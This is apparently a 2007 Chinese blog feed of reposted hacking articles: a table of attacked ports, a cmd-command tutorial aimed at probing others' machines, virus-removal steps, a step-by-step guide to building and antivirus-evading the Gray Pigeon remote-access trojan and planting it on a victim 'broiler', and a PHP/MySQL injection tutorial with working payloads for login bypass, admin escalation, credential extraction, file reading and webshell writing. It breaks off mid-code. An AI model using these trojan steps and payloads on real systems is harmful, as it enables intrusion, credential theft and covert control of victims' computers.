10000＋未注册的服务 376次攻击这些端口通常会返回流量，原因可能是计算机或防火墙配置不当，
或者黑客模拟返回流量进行攻击
161 snmp服务 937次成功获得snmp可能会使黑客完全控制路由器、防火墙或交换机
1433 微软sql服务 147次表明计算机可能已经感染了sql slammer蠕虫病毒
53 dns 1797次表明防火墙或lan配置可能有问题
67 引导程序 23次表明设备可能配置不当
2847 诺顿反病毒服务 55次表明计算机存在设置问题

yiye 2007-05-20 13:51 发表评论

cmd命令详解(一)

yiye — Sun, 20 May 2007 05:49:00 GMT

一、ping命令
在Windows的控制窗口中（Windows 95/98/ME的command解释器、Windows NT/2000的cmd解释器），运行ping可以看到这个命令的说明，它是一个探测本地电脑和远程电脑之间信息传送速度的命令，这个命令需要 TCP/IP协议的支持，ping将会计算一条信息从本地发送到远程再返回所需要的时间，黑客使用这个命令决定是否对服务器进行攻击，因为连接速度过慢会浪费时间、花费过多的上网费用。
另外这个命令还可以透过域名找到对方服务器的IP地址，我们知道域名只是提供给浏览网页用的，当我们看到一个不错的域名地址后，要想通过telnet连接它，就必须知道对方的IP地址，这里也要使用ping命令的。
这个命令的基本使用格式可以通过直接运行ping获得，现在假设目标是http://www.abc.com/，则可以在控制台下输入ping www.abc.com，经过等待会得到如下信息：

Pinging www.abc.com [204.202.136.32] with 32 bytes of data:
Reply from 204.202.136.32: bytes=32 time=302ms TTL=240
Reply from 204.202.136.32: bytes=32 time=357ms TTL=240
Reply from 204.202.136.32: bytes=32 time=288ms TTL=240
Reply from 204.202.136.32: bytes=32 time=274ms TTL=240

Ping statistics for 204.202.136.32:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 274ms, Maximum = 357ms, Average = 305ms

这些信息的意思是：www.abc.com的IP 地址是204.202.136.32，对他发送了四次数据包，数据包的大小是32字节，每一次返回的时间分别是302ms、357ms、288ms、 274ms。综合看，发送了四个数据包全部返回，最小时间是274ms，最大时间357ms，他们的平均时间是305ms。
这样黑客就了解了连接对方服务器使用的时间。另外这个命令还有一些特殊的用法，例如可以通过IP地址反查服务器的NetBIOS名，现在以 211.100.8.87为例，使用ping配合“-a”，在控制台下输入命令ping -a 211.100.8.87，它的返回结果是：

Pinging POPNET-FBZ9JDFV [211.100.8.87] with 32 bytes of data:
Reply from 211.100.8.87: bytes=32 time=96ms TTL=120
Reply from 211.100.8.87: bytes=32 time=110ms TTL=120
Reply from 211.100.8.87: bytes=32 time=110ms TTL=120
Reply from 211.100.8.87: bytes=32 time=109ms TTL=120

Ping statistics for 211.100.8.87:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 96ms, Maximum = 110ms, Average = 106ms

从这个结果会知道服务器的NetBIOS名称是POPNET-FBZ9JDFV。另外在一般情况下还可以通过ping对方让对方返回给你的TTL值大小，粗略的判断目标主机的系统类型是Windows系列还是UNIX/Linux系列，一般情况下Windows系列的系统返回的TTL值在100-130之间，而UNIX/Linux系列的系统返回的TTL值在240-255之间，例如上面的www.abc.com返回的TTL是240，对方的系统很可能是Linux，而第二个目标的TTL是120，那么说明它使用的系统也许是Windows。
另外ping还有很多灵活的应用，我不在这里过多的介绍，读者请另行查阅此命令相关帮助文件。
二、net命令：
NET命令是很多网络命令的集合，在Windows ME/NT/2000内，很多网络功能都是以net命令为开始的，通过net help可以看到这些命令的详细介绍：
NET CONFIG 显示系统网络设置
NET DIAG 运行MS的DIAGNOSTICS程序显示网络的DIAGNOSTIC信息
NET HELP 显示帮助信息
NET INIT 不通过绑定来加载协议或网卡驱动
NET LOGOFF 断开连接的共享资源
NET LOGON 在WORKGROUP中登陆
NET PASSWORD 改变系统登陆密码
NET PRINT 显示或控制打印作业及打印队列
NET START 启动服务，或显示已启动服务的列表
NET STOP 停止网络服务
NET TIME 使计算机的时钟与另一台计算机或域的时间同步
NET USE 连接计算机或断开计算机与共享资源的连接，或显示计算机的连接信息
NET VER 显示局域网内正在使用的网络连接类型和信息
NET VIEW 显示域列表、计算机列表或指定计算机的共享资源列表
这些命令在Win95/98中支持的比较少，只有几个基本常见的，而在NT或者2000中又元元多于上面的介绍，不过大多数对于初学者也没有必要掌握，所以我选择了WindowsME进行介绍，其中最常用到的是NET VIEW和NET USE，通过者两个命令，学习者可以连接网络上开放了远程共享的系统，并且获得资料。这种远程共享本来是为便捷操作设计的，但是很多网络管理员忽视了它的安全性，所以造成了很多不应该共享的信息的暴露，对于学习者来说，则可以轻易获得它人电脑上的隐私资料。
例如在控制台下输入net view \\202.96.50.24则可以获得对应IP的系统共享目录，进而找到他们的共享文件，当然这需要202.96.50.24系统的确存在共享目录，具体如何找到这些存在共享的系统，我将会在后面的文章中进行介绍。
三、telnet和ftp命令：
这两个命令分别可以远程对系统进行telnet登陆和ftp登陆，两种登陆使用的不同的协议，分别属于两种不同的网络服务，ftp是远程文件共享服务，也就是说学习者可以将自己的资料上传、下载，但是它并没有过多的权利，无法在远程电脑上执行上传的文件；而telnet则属于远程登陆服务，也就是说可以登陆到远程系统上，并获得一个解释器权限，拥有解释器就意味着拥有了一定的权限，这种权限可能是基本的文件操作、也可能是可以控制系统的管理员权限。
四、netstat命令：
这个程序有助于我们了解网络的整体使用情况。它可以显示当前正在活动的网络连接的详细信息，如采用的协议类型、当前主机与远端相连主机（一个或多个）的IP地址以及它们之间的连接状态等。使用netstat ？可以显示它的命令格式和参数说明：
netstat [-a] [-e] [-n] [-s] [-p proto] [-r] [interval] 其中的参数说明如下：
-a 显示所有主机的端口号；
-e 显示以太网统计信息；
-n 以数字表格形式显示地址和端口；
-p proto 显示特定的协议的具体使用信息；
-r 显示本机路由表的内容；
-s 显示每个协议的使用状态（包括TCP、UDP、IP）；
interval 重新显示所选的状态，每次显示之间的间隔数（单位秒）。
netstat命令的主要用途是检测本地系统开放的端口，这样做可以了解自己的系统开放了什么服务、还可以初步推断系统是否存在木马，因为常见的网络服务开放的默认端口轻易不会被木马占用，例如：用于FTP（文件传输协议）的端口是21；用于TELNET（远程登录协议）的端口是23；用于SMTP（邮件传输协议）的端口是25；用于DNS（域名服务，即域名与IP之间的转换）的端口是53；用于HTTP（超文本传输协议）的端口是80；用于POP3（电子邮件的一种接收协议）的端口是110；WINDOWS中开放的端口是139，除此以外，如果系统中还有其他陌生的到口，就可能是木马程序使用的了。通过 netstat或者netstat -a可以观察开放的端口，如果发现下面的端口，就说明已经有木马程序在系统中存在：
31337号端口是BackOffice木马的默认端口；1999是Yai木马程序；2140或者3150都是DEEP THROAT木马使用的端口；还有NETBUS、冰河或者SUB7等木马程序都可以自定义端口，因此发现了陌生端口一定要提高警惕，使用防火墙或者查病毒软件进行检测。
五、tracert命令：
这个命令的功能是判定数据包到达目的主机所经过的路径、显示数据包经过的中继节点清单和到达时间。tracert命令的格式如下：
tracert [-d] [-h maximum_hops] [-j host-list] [-w timeout] target_name
命令行中的参数-d是要求tracert不对主机名进行解析，-h是指定搜索到目的地址的最大轮数，-j的功能是沿着主机列表释放源路由，-w用来设置超时时间间隔。
通过tracert可以判断一个服务器是属于国内还是国际（网络服务器的物理未知不能依靠域名进行判断），根据路由路经可以判断信息从自己的系统发送到网络上，先后经过了哪些IP到大对方服务器，这就好像乘公共汽车的时候从起点出发到达终点站的时候，中途会出现很多路牌一个道理，我们清楚了自己的信息的传送路径，才能够更清晰的了解网络、对服务器进行攻击。
六、winipcfg：
winipcfg和ipconfig都是用来显示主机内IP协议的配置信息。只是winipcfg适用于Windows 95/98，而ipconfig适用于Windows NT。winipcfg不使用参数，直接运行它，它就会采用Windows窗口的形式显示具体信息。这些信息包括：网络适配器的物理地址、主机的IP地址、子网掩码以及默认网关等，点击其中的“其他信息”，还可以查看主机的相关信息如：主机名、DNS服务器、节点类型等。其中网络适配器的物理地址在检测网络错误时非常有用。
ipconfig的命令格式如下：ipconfig [/? | /all | /release [adapter] | /renew [adapter]]
其中的参数说明如下：
使用不带参数的ipconfig命令可以得到以下信息：IP地址、子网掩码、默认网关。而使用ipconfig
/? 显示ipconfig的格式和参数的英文说明；
/all 显示所有的配置信息；
/release 为指定的适配器（或全部适配器）释放IP地址（只适用于DHCP）；
/renew 为指定的适配器（或全部适配器）更新IP地址（只适用于DHCP）。
/all，则可以得到更多的信息：主机名、DNS服务器、节点类型、网络适配器的物理地址、主机的IP地址、子网掩码以及默认网关等。

yiye 2007-05-20 13:49 发表评论

清除那些使得隐藏文件无法显示的病毒

yiye — Sun, 20 May 2007 05:48:00 GMT

清除那些使得隐藏文件无法显示的病毒

-----------------------------------------------------------------------
选择“显示隐藏文件”这一选项后，发现u盘有个文件闪出来一下就马上又消失了，而再打开文件夹选项时，发现仍就是“不显示隐藏文件”这一选项。而且刚发现点击c、d等盘符图标时会另外打开一个窗口！

总结：

i、病情描述：

1、无法显示隐藏文件；

2、点击c、d等盘符图标时会另外打开一个窗口；

3、用winrar查看时发现c、d等根目录下有autorun.inf和tel.xls.exe两个恶心的文件；

4、任务管理器中的应用进程一栏里有个莫明其妙的kill；

5、开机启动项中有莫明其妙的socksa.exe。

ii、解决办法：

用了一些专杀工具和dos下的批处理文件，都不好使，只好diy。注意在以下整个过程中不要双击硬盘分区，需要打开时用鼠标右键—>打开。

一、关闭病毒进程

在任务管理器应用程序里面查找类似kill等你不认识的进程，右键—>转到进程，找到类似svohost.exe（也可能就是某个svchost.exe）的进程，右键—>结束进程树。

二、显示出被隐藏的系统文件

开始—>运行—>regedit

hkey_local_machine\software\microsoft\windows\currentversion\explorer\
advanced\folder\hidden\showall

删除checkedvalue键值，单击右键新建—>dword值—>命名为checkedvalue，然后修改它的键值为1，这样就可以选择“显示所有隐藏文件”和“显示系统文件”。

三、删除病毒

在分区盘上单击鼠标右键—>打开，看到每个盘跟目录下有autorun.inf 和tel\.xls\.exe 两个文件，将其删除，u盘同样。

四、删除病毒的自动运行项

开始—>运行—>msconfig—>启动—>删除类似sacksa.exe、socksa.exe之类项，或者打开注册表运行regedit

hkey_local_machine>software>microsoft>windows>currentversion>run

删除类似c:\windows\system32\svohost.exe 的项。

五、删除遗留文件

c:\windows\ 跟 c:\windows\system32\ 目录下删除svohost.exe(注意系统有一个类似文件，图标怪异的那个类似excel的图标的是病毒)session.exe、 sacaka.exe、socksa.exe以及所有excel类似图标的文件，每个文件夹两个，不要误删哦，自己注意。重启电脑后，基本可以了。

yiye 2007-05-20 13:48 发表评论

灰鸽子完全手册(送给新手)

yiye — Sun, 20 May 2007 05:46:00 GMT

灰鸽子完全手册(送给新手)

首先我们打开我们的鸽子控制端，前面还得关了自己的防火墙哦~我的如下图中~顶上抹去的是我的所有IP，合乎~

好，接下来我们点自动上线FTP服务器就是你FTP空间的地址，帐号密码也添好，存放IP文件，我用的是ipipip.txt，个人推荐使用TXT为后缀~填好后记得点下那个自动保存，下次就不用再填了~~最后点更新IP到FTP空间~如下图

最后在左下会出先成功，如下图

接下来点配置服务程序，先点自动上线设置，IP通知那里添上你FTP在HTTP的访问地址加上你放IP文件的地址，我放在根目录下的ipipip.txt 那么就是下面那样的，所填的这个网址，是应该在IE里访问时，是可以看到你IP，那么就没错了~连接密码就随你咯，我一般不设置，这我就加个123~我的如下图~（大家别碰我的FTP空间，谢谢哦~）

投降自选，关于文件图标，点选择图标~我是事先有ISO图标，你看我的，是个TXT的图标~接着点安装选项，安装路径是你肉鸡上的，所以你自己想下装在哪，记的点自动删除~我的在下面~别那么苯学我哦，我那是JIAOCHENG，大家想些关于系统的吧~

接下来点那个启动选项，服务啊什么的改成与系统有关的吧~我的如下，是JIAOCHENG

代理跳过，现在别开，以后再开~高级选项点不加壳~如下~

接着看下生成路径（别自己找不到了~），点生成就好了，如下~

我用今天的卡巴查下，看下面，有毒~

接着我随便拿个加壳器（这个所有的不一定都成，今天我试到第3个才OK）
我用的是下面这个~黑器里下的~

接下来我用卡巴再查，你看下面，没毒~

我随便找只肉鸡实验一下，比如下面这只，他不走运，就当舍己为人吧，我们默哀半秒钟~

传上去后，帮他隐藏运行，大家看下面，我传了两只~连接时记得加你设置的密码，我的123，OK了吧！证明免杀也是成功的~

下面讲下鸽子自带的端口映射工具使用方法~在工具那点进去就是下面这样的了~

生成下面那样的一个服务端，

注意，这是有毒的，所以大家加壳啊，什么都可以~但注意保持它有效~我懒，就直接关了肉鸡上的杀软，防火墙了~直接终止进程~不行就杀进程~

记得还要关系统防火墙，象下面，NET STOP SHAREDACCESS

接着再打开端口映射工具，填上被映射的IP，点连接，点映射，注意成功的话，左下会显示的~看下面

接着点自动上线，把更新上去的IP改成被你映射的那位的IP（默哀半秒）~端口不变~如下

最后大家看，我的鸽子上来了（这是另外的，呵呵~），注意，个人觉得IP全变成127。0。0。1是正常的，因为呢，所有数据是从那台映射的IP转到本地的127。0。0。1再转至鸽子端的，所以这是正常的吧~嘎嘎~我乱说的~

好了全文完咯~

--------------此文转载自:http://www.nohack.cn/bbs/thread-60493-1-1.html-------------

yiye 2007-05-20 13:46 发表评论

php注入专题

yiye — Sat, 19 May 2007 18:36:00 GMT

php注入专题
                                          ------------Alpha

/*此文已发于《黑客x档案》2004年10期专题。
谨以此文献给最爱我的爸爸妈妈，以及所有帮助过我的人。*/

/*@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@由于xfocus不支持上传图片
您可以到http://www.54hack.info/txt/php.pdf下载此文的pdf文档(含图片)*/

Php注入攻击是现今最流行的攻击方式，依靠它强大的灵活性吸引了广大黑迷。

在上一期的《php安全与注射专题》中林.linx主要讲述了php程序的各种漏洞，也讲到了php＋mysql注入的问题，可是讲的注入的问题比较少，让我们感觉没有尽兴是吧.
OK,这一期我将给大家伙仔仔细细的吹一吹php＋mysql注入，一定让你满载而归哦（谁扔砖头哩！）。
本文主要是为小菜们服务的，如果你已经是一只老鸟呢，可能某些东西会感觉比较乏味，但只要你仔细的看，你会发现很多有趣的东西哦。

阅读此文你只要明白下面的这点东西就够了。

1.明白php+mysql环境是如何搭建的，在光盘中我们收录搭建的相关文章，如果您对搭建php+mysql环境不是很清楚，请先查阅此文，在上一期的专题中也有所介绍。
2.大概了解php和apache的配置，主要用到php.ini和httpd.conf
而此文我们主要用到的是php.ini的配置。为了安全起见我们一般都打开php.ini里的安全模式，即让safe_mode = On，还有一个就是返回php执行错误的display_errors 这会返回很多有用的信息，所以我们应该关闭之，
即让display_errors＝off  关闭错误显示后，php函数执行错误的信息将不会再显示给用户。
在php的配置文件php.ini中还有一个非常重要的配置选项magic_quotes_gpc，高版本的默认都是magic_quotes_gpc＝On，只有在原来的古董级的php中的
默认配置是magic_quotes_gpc＝Off，可是古董的东西也有人用的哦！
当php.ini中magic_quotes_gpc＝On的时候会有什么情况发生哩，不用惊慌，天是塌不下来的啦！它只是把提交的变量中所有的 ' (单引号), “ (双引号), \ (反斜线) 和空字符会自动转为含有反斜线的转义字符，例如把’变成了\’,把\变成了\\。
就是这一点，让我们很不爽哦，很多时候我们对字符型的就只好说BYEBYE了，
但是不用气馁，我们还是会有好方法来对付它的，往下看咯！
3.有一定的php语言基础和了解一些sql语句，这些都很简单，我们用到的东西很少，所以充电还来的及哦！

我们先来看看magic_quotes_gpc＝Off的时候我们能干些啥，然后我们再想办法搞一搞magic_quotes_gpc＝On的情况哈

一：magic_quotes_gpc＝Off时的注入攻击
magic_quotes_gpc＝Off的情况虽然说很不安全，新版本默认也让
magic_quotes_gpc＝On了，可是在很多服务器中我们还发现magic_quotes_gpc＝Off的情况，例如www.qichi.*。
还有某些程序像vbb论坛就算你配置magic_quotes_gpc＝On，它也会自动消除转义字符让我们有机可乘，所以说
magic_quotes_gpc＝Off的注入方式还是大有市场的。

下面我们将从语法，注入点 and 注入类型几个方面来详细讲解mysql＋php注入

A:从MYSQL语法方面先
  1。先讲一些mysql的基本语法，算是给没有好好学习的孩子补课了哦~_~
      1）select
    SELECT [STRAIGHT_JOIN] [SQL_SMALL_RESULT]
    select_expression,...
    [INTO {OUTFILE | DUMPFILE} 'file_name' export_options]
    [FROM table_references
        [WHERE where_definition]
        [GROUP BY col_name,...]
[ORDER BY {unsigned_integer | col_name | formula} [ASC | DESC] ,...]
      ]
常用的就是这些，select_expression指想要检索的列，后面我们可以用where来限制条件，我们也可以用into outfile将select结果输出到文件中。当然我们也可以用select直接输出
例如

mysql> select 'a';
+---+
| a |
+---+
| a |
+---+
1 row in set (0.00 sec)
具体内容请看mysql中文手册7.12节
下面说一些利用啦
看代码先
这段代码是用来搜索的哦

………
SELECT * FROM users WHERE username LIKE ‘%$search%’ ORDER BY username
…….
?>

这里我们顺便说一下mysql中的通配符，’%’就是通配符，其它的通配符还有’*’和’_’,其中" * "用来匹配字段名，而" % "用来匹配字段值，注意的是%必须与like一起适用，还有一个通配符，就是下划线" _ "，它代表的意思和上面不同，是用来匹配任何单个的字符的。在上面的代码中我们用到了’*’表示返回的所有字段名，%$search%表示所有包含$ search字符的内容。

我们如何注入哩？
哈哈，和asp里很相似
在表单里提交
Aabb%’ or 1=1 order by id#
注：#在mysql中表示注释的意思，即让后面的sql语句不执行，后面将讲到。
或许有人会问为什么要用or 1＝1呢，看下面，

把提交的内容带入到sql语句中成为

SELECT * FROM users WHERE username LIKE ‘%aabb%’ or 1=1 order by id# ORDER BY username

假如没有含有aabb的用户名，那么or 1＝1使返回值仍为真，使能返回所有值

我们还可以这样

在表单里提交
%’ order by id#
或者
’ order by id#
带入sql语句中成了
SELECT * FROM users WHERE username LIKE ‘% %’ order by id# ORDER BY username
和
SELECT * FROM users WHERE username LIKE ‘%%’ order by id# ORDER BY username
当然了，内容全部返回。
列出所有用户了哟，没准连密码都出来哩。
这里就举个例子先，下面会有更精妙的select语句出现，select实际上几乎是无处不在的哦！
2)下面看update咯
Mysql中文手册里这么解释的：
UPDATE [LOW_PRIORITY] tbl_name SET col_name1=expr1,col_name2=expr2,...
        [WHERE where_definition]
UPDATE用新值更新现存表中行的列，SET子句指出哪个列要修改和他们应该被给定的值，WHERE子句，如果给出，指定哪个行应该被更新，否则所有行被更新。
详细内容去看mysql中文手册7.17节啦，在这里详细介绍的话会很罗嗦的哦。
由上可知update主要用于数据的更新，例如文章的修改，用户资料的修改，我们似乎更关心后者，因为......
看代码先哦
我们先给出表的结构，这样大家看的明白
CREATE TABLE users (
id int(10) NOT NULL auto_increment,
login varchar(25),
password varchar(25),
email varchar(30),
userlevel tinyint,
PRIMARY KEY (id)
)
其中userlevel表示等级，1为管理员，2为普通用户
//change.php
……
$sql = "UPDATE users SET password='$pass', email='$email' WHERE id='$id'"
……
?>
Ok，我们开始注入了哦，在添email的地方我们添入
netsh@163.com’,userlevel=’1
sql语句执行的就是
UPDATE users SET password='youpass',
email='netsh@163.com’,userlevel=’1’ WHERE id='youid’
看看我们的userlevel就是1了，变成管理员了哟
哈哈，如此之爽，简直是居家旅行必备啊。
这里我们简单提一下单引号闭合的问题，如果只用了一个单引号而没有单引号与之组成一对，系统会返回错误。列类型主要分为数字类型，日期和时间类型，字符串类型，然而引号一般用在字符串类型里，而在数字类型里一般人都不会用到引号（然而却是可以用的，而且威力很大），日期和时间类型就很少用于注入了（因为很少有提交时间变量的）。在下面我们会详细将这几种类型的注入方式哦！

3)下面轮到insert了，它已经等的不耐烦了，简直就像中午食堂里的学生们。
Php中文手册是这样教我们的：
INSERT [LOW_PRIORITY | DELAYED] [IGNORE]
        [INTO] tbl_name [(col_name,...)]
        VALUES (expression,...),(...),...
INSERT把新行插入到一个存在的表中，INSERT ... VALUES形式的语句基于明确指定的值插入行，INSERT ... SELECT形式插入从其他表选择的行，有多个值表的INSERT ... VALUES的形式在MySQL 3.22.5或以后版本中支持，col_name=expression语法在MySQL 3.22.10或以后版本中支持。
由此可见对于见不到后台的我们来说，insert主要就出现在注册的地方，或者有其它提交的地方地方也可以哦。

看看表的结构先
CREATE TABLE membres (
id varchar(15) NOT NULL default '',
login varchar(25),
password varchar(25),
email varchar(30),
userlevel tinyint,
PRIMARY KEY (id)
)
我们仍然假设userlevel表示用户等级，1为管理者，2为普通用户哈。
代码如下
//reg.php
……
$query = "INSERT INTO members VALUES('$id','$login','$pass','$email',’2')" ;
……
?>
默认插入用户等级是2
现在我们构建注入语句了哦
还是在要我们输入email的地方输入：
netsh@163.com’,’1’)#
sql语句执行时变成了：
INSERT INTO membres VALUES ('youid','youname','youpass',' netsh@163.com’,’1’)#',?')
看我们一注册就是管理员了。
#号表示什么来着，不是忘了吧，晕了，这么快？
忘就忘了吧，下面再详细给你说说

2.下面说一说mysql中的注释，这个是很重要的，大家可不能再睡觉啦，要是再睡觉到期末考试的时候就挂了你们。
我们继续
相信大家在上面的几个例子中已经看到注释的强大作用了吧，这里我们将再详细介绍一下。
Mysql有3种注释句法
# 注射掉注释符后面的本行内容
-- 注射效果同#
/* ... */  注释掉符号中间的部分

对于#号将是我们最常用的注释方法。
-- 号记得后面还得有一个空格才能起注释作用。
/*…*/  我们一般只用前面的/*就够了，因为后面的我们想加也不行，是吧？

注意：在浏览器地址栏输入#时应把它写成%23，这样经urlencode转换后才能成为#，从而起到注释的作用。#号在浏览器的地址框中输入的话可什么也不是哦。
为了大家深刻理解
这里我给大家来个例题

有如下的管理员信息表

CREATE TABLE alphaauthor (
  Id tinyint(4) NOT NULL auto_increment,
  UserName varchar(50) NOT NULL default '',
  PASSWORD varchar(50) default NULL,
  Name varchar(50) default NULL,
  PRIMARY KEY  (Id),
  UNIQUE KEY Id (Id),
  KEY Id_2 (Id)
)

//Login.php
……
$query="select * from alphaauthor where UserName='$username' and Password='$passwd'";
$result=mysql_query($query);
$data=mysql_fetch_array($result);
if ($data)
    {
    Echo “重要信息”;
    }
    Else
    Echo “登陆失败”;
……
?>

我们在浏览器地址框直接输入
http://***/login.php?username=a’or id=1 %23
%23转换成#了
放到sql语句中
select * from alphaauthor where UserName='a’or id=1 #' and Password='$passwd'
#号后面的都拜输入了，看看
这句话等价于
select * from alphaauthor where UserName='a’or id=1

再仔细看看表的结构，只要有id=1的账户，返回的$data就应该为真
我们就直接登陆了，当然你也可以写
hppt://***/login.php?username=a’or 1＝1 %23
一样的啦

3.下面将要出场的是……
对了，就是这些显示系统信息的间谍们

VERSION() 返回数据库版本信息
DATABASE() 返回当前的数据库名字，如果没有当前的数据库，DATABASE()返回空字符串。
USER()
SYSTEM_USER()
SESSION_USER()
返回当前MySQL用户名
mysql> select user(),database(),version();
+----------------+------------+----------------+
| user()         | database() | version()      |
+----------------+------------+----------------+
| root@localhost | alpha      | 5.0.0-alpha-nt |
+----------------+------------+----------------+
1 row in set (0.01 sec)
如图(1)所示,图不是很爽是不是？睁大你的大眼睛好好看哦

有时候很有用的哦，比如说你可以根据他的mysql版本看看他的mysql有没有什么溢出漏洞，没准我们就发现个好动东哈哈

4. 下面进入最重要的部分了，没睡觉的打起精神来，睡着了的醒一醒啦。
1）select union select
还是php中文手册中讲的：
SELECT ... UNION [ALL] SELECT ... [UNION SELECT ...]
UNION 在 MySQL 4.0.0 中被实现。
UNION 用于将多个 SELECT 语句的结果联合到一个结果集中。

在 SELECT 中的 select_expression 部分列出的列必须具有同样的类型。第一个 SELECT 查询中使用的列名将作为结果集的列名返回。
SELECT 命令是一个普通的选择命令，但是有下列的限制：
只有最后一个 SELECT 命令可以有 INTO OUTFILE。

需要注意的是union前后的select字段数相同，只有这样union函数才能发挥作用。如果字段数不等将返回
ERROR 1222 (21000): The used SELECT statements have a different number of columns 错误
晕咯，这样不好吧。咋半哩？
别急哈，急也没用的
例如：
已知alphadb表有11列
我们
mysql> select * from alphadb where id=351 union select 1,2,3,4,5,6,7,8,9,10 from alphaauthor;
如图（2）

我们只slect了10个数当然出错啦。
下面看
mysql> select * from alphadb where id=347 union select 1,2,3,4,5,6,7,8,9,10,11 from alphaauthor;
如图（3）

我们看看id＝247中的数据先
mysql> select * from alphadb where id=347;
+-----+--------------------------------------------+-----------------
| id  | title | content | importtime | author | accessing | addInto | type | showup | change_ubb | change_html |
+-----+--------------------------------------------+-----------------
| 347 | 利用adsutil.vbs+..--发表于黑客档案2004.6期 | 发表于黑客x档案第6期 | 2004
-03-28 11:50:50 | Alpha  | 17 | Alpha  |    2 |   1 |    1 |  1 |
+-----+--------------------------------------------+-----------------
1 row in set (0.00 sec)
我们看到，它的返回结果和
mysql> select * from alphadb where id=347 union select 1,2,3,4,5,6,7,8,9,10,11 from alphaauthor;
是相同的。
哦，大家或许会问，这样有什么用呢？
问的好。
Ok，继续试验
当我们输入一个不存在的id的时候
例如id=0，或者id=347 and 1<>1
再看看
mysql> select * from alphadb where id=347 and 1<>1 union select 1,2,3,4,5,6,7,8,9,10,11 from alphaauthor;
如图（4）

我们发现它把我们后面的1,2,3,4,5,6,7,8,9,10,11赋给了各个字段来显示。
哈哈，终于显示不一样了，可是这有什么用呢？
先不告诉你。
我们讲一个具体的例子先
http://localhost/site/display.php?id=347
看看图5

http://localhost/site/display.php?id=347 and 1<>1 union select 1,2,3,4,5,6,7,8,9,10,11 from alphaauthor
结果如图6

下面我们用一幅图来总结一下union的用法如图7

Ok，知道怎么利用了不？不知道的话下面将会详细告诉你。
2）LOAD_FILE
这个功能太强大了，这也是林.linx在上一个专题中提到的方法。虽然说过了，可我也不得不再提出来。
Load_file可以返回文件的内容，记得写全文件的路径和文件名称
Etc.
我们在mysql的命令行下输入

mysql> select load_file('c:/boot.ini');
效果如图（8）

可是我们在网页中怎么搞呢？
我们可以结合union select使用
http://localhost/site/display.php?id=347%20and%201<>1%20union%20select%201,2,load_file('c:/apache/htdocs/site/lib/sql.inc'),4,5,6,7,8,9,10,11
这里的c:/apache/htdocs/site/lib/sql.inc并不是我的配置文件哦，：P
看仔细图9中的

看看，文件内容暴露无疑。
我们为什么要把load_file('c:/apache/htdocs/site/lib/sql.inc')放在3字段呢？我们前面提到列类型一共有那么三种，而原来图7中显示3的地方应该是显示文章内容，应该是字符型的，而load_file('c: /apache/htdocs/site/lib/sql.inc')也一定是字符型的，所以我们猜测放在3字段可以顺利显示。
其实还有很多好的利用方法，继续往下看哦！
3) select * from table into outfile'file.txt'
有啥用哩？
作用就是把表的内容写入文件，知道有多重要了吧，我们写个webshell吧，哈哈。
当然我们不只是导出表，我们还可以导出其它东西的哦，往下看啦。
假设有如下表

#
# 数据表的结构 `test`
#

CREATE TABLE test (
  a text,
  b text
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

#
# 导出下面的数据库内容 `test`
#

INSERT INTO test VALUES ('', NULL);

已知我的网站路径在C:/apache/htdocs/site/
好，看你表演哦，输入
http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,a,4,5,6,7,8,9,10,11%20from%20test%20into%20outfile%20'C:/apache/htdocs/site/cmd.php'
意思就是把表里的a列内容导出到cmd.phpzhong
看看cmd.php里的内容先
1    2        0000-00-00 00:00:00    5    6    7    8    9    10    11
我们执行一下看看先
http://localhost/site/cmd.php?cmd=dir
如图(10)

哈哈，果然很爽哦！
4）下面给大家讲述LOAD DATA INFILE的故事

LOAD DATA [LOW_PRIORITY] [LOCAL] INFILE 'file_name.txt' [REPLACE | IGNORE] INTO TABLE tbl_name

LOAD DATA INFILE语句从一个文本文件中以很高的速度读入一个表中。
因为这个语句一般情况下不能在浏览器里直接输入，所以作用不是很大。

这里举个例子来说说
表test的结构和上面介绍的一样

#
# 数据表的结构 `test`
#

CREATE TABLE test (
  a text,
  b text
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

我们在mysql命令行下输入：
Mysql>load data infile 'c:/cmd.php' into table test

其中c:/cmd.php内容为

注意：上面的内容写在一行里哦。
通过上面的指令我们就把cmd.asp的内容输入到了test表中
所得结果如图（11）

实际上得到的就是上个例子test表中的内容！看看，再结合into outfile，是不是一个完美的组合呢。
基本的语法就将到这里了，可能还有很多重要的东西漏掉了哦，你可以去php中文手册里淘金，相信你一定会找到很多好东西的，自己挖掘吧。（随光盘我们付上一个php中文手册）

B:从注入方式上
主要有数字型，字符型和搜索类
1.    数字型
很常见了，我们上面举的就一直是字符型的例子，大家应该还都记得asp下如何破管理员密码，下面我们来看一下php下如何实现
我们在地址栏输入：
http://localhost/site/display.php?id=451%20and%201=(select%20min(id)%20from%20alphaauthor)
判断是否存在alphaauthor，如果有返回正常页面（一般情况啦，有的时候也返回其它什么的，这主要根据构造1＝1 和1＝2时的页面判断）

http://localhost/site/display.php?id=451%20and%201=(select%20min(id)%20from%20alphaauthor%20where%20length(username)=5)
判断是否username字段的长度为5

http://localhost/site/display.php?id=451%20and%201=(select%20min(id)%20from%20alphaauthor%20where%20length(username)=5%20and%20length(password)=32)
跟上面差不多啦，判断password字段的长度

下面进入猜密码的阶段，用ascii方法来一位一位猜测吧。Ascii等同于asp下的asc，哈哈，经常看黑客X档案的一定很清楚啦。
http://localhost/site/display.php?id=451%20and%201=(select%20min(id)%20from%20alphaauthor%20where%20ascii(mid(username,1,1))=97)
用户名第一位哦ascii97就是字符a啦

http://localhost/site/display.php?id=451%20and%201=(select%20min(id)%20from%20alphaauthor%20where%20ascii(mid(username,2,1))=108)
第二位啦，这里只放这一个图啦，如图（12）

下面省略X条。
反正我们最后是得出用户名和密码了。
我们会发现这里的注入方法几乎和asp下的注入是一样的，就是把asc变成ascii，把len变成length就可以了，最后我们就可以得到后台的管理员账号和密码，
当然我们有更简单的方法，可以直接用union的方法直接得到

http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,username,password,4,5,6,7,8,9,10,11%20from%20alphaauthor
如图（13）

账号是alpha，密码是一长串的东东，哈哈，简单明了，看到没有，这里显示出了union select的强大威力了吧。

上面讲的是在不通的表里面猜测内容，如果在同一个表里面我们还可以像下面这样哩：
下面的一段代码根据用户id显示用户信息

//user.php
………..
$sql = "SELECT * FROM user WHERE id=$id";
…………

if (!$result)
